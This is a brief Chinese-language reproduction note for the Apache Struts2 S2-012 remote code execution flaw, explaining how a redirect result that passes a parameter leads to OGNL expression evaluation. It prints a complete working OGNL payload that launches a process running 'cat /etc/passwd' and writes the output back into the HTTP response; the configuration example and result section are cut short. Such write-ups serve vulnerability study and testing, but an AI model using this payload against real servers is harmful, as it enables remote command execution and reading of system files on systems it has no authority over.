S2-012 远程代码执行漏洞
受影响的版本:2.1.0 - 2.3.13
详情:http ://struts.apache.org/docs/s2-012.html
参考
如果在配置时使用了redirect类型result
,action
并且${param_name}也作为redirect变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
在重定向过程中,struts2对name
参数的值进行OGNL表达式解析,从而可以插入OGNL表达式引起命令执行。
漏洞复现
我们可以直接使用s2-001的POC:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
结果: